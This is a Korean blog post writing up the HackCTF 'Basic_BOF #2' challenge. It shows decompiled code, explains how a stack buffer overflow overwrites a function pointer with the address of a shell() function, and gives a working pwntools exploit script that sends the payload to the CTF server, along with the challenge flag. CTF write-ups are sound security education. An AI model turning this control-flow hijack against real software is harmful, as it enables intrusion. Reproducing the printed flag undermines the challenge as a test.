-
Basic_BOF #2CTF/HackCTF 2021. 1. 21. 00:39
Disassembly 디스어셈블리
undefined4 main(void) { undefined auStack148 [4]; char *s; code *pcStack20; int32_t var_ch; undefined *puStack12; int32_t var_4h; puStack12 = &stack0x00000004; pcStack20 = sup; fgets(auStack148, 0x85, _reloc.stdin); (*pcStack20)(); return 0; }
main() 함수를 살펴보면 auStack148에 0x85만큼 입력받고 pcStack20에 적힌 주소로 점프한다.
void shell(void) { system("/bin/dash"); return; }
따라서 pcStack20의 값을 shell() 함수의 주소로 덮어쓰면 될 것이다.
Buffer Overflow
[s]에서 일어난 버퍼 오버플로우로 [var_ch]를 덮을 것이고, offset 차이는 0x8c-0xc이다.
따라서 0x8c-0xc 만큼의 더미 뒤에 shell()의 주소를 입력하면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./bof_basic2" server = "ctf.j0n9hyun.xyz" port = 3001 # context.log_level = 'debug' context.binary = binary p = remote(server, port) # p = process(binary) e = ELF(binary) payload = b"A"*(0x8c-0xc) payload += p32(e.symbols["shell"]) p.sendline(payload) p.interactive()
Flag
HackCTF{h3y_dud3_600d_f0r_y0u}
'CTF > HackCTF' 카테고리의 다른 글
Simple_Overflow_ver_2 (0) 2021.01.21 x64 Simple_size_BOF (0) 2021.01.21 x64 Buffer Overflow (0) 2021.01.21 내 버퍼가 흘러넘친다!!! (0) 2021.01.21 Basic_BOF #1 (0) 2021.01.21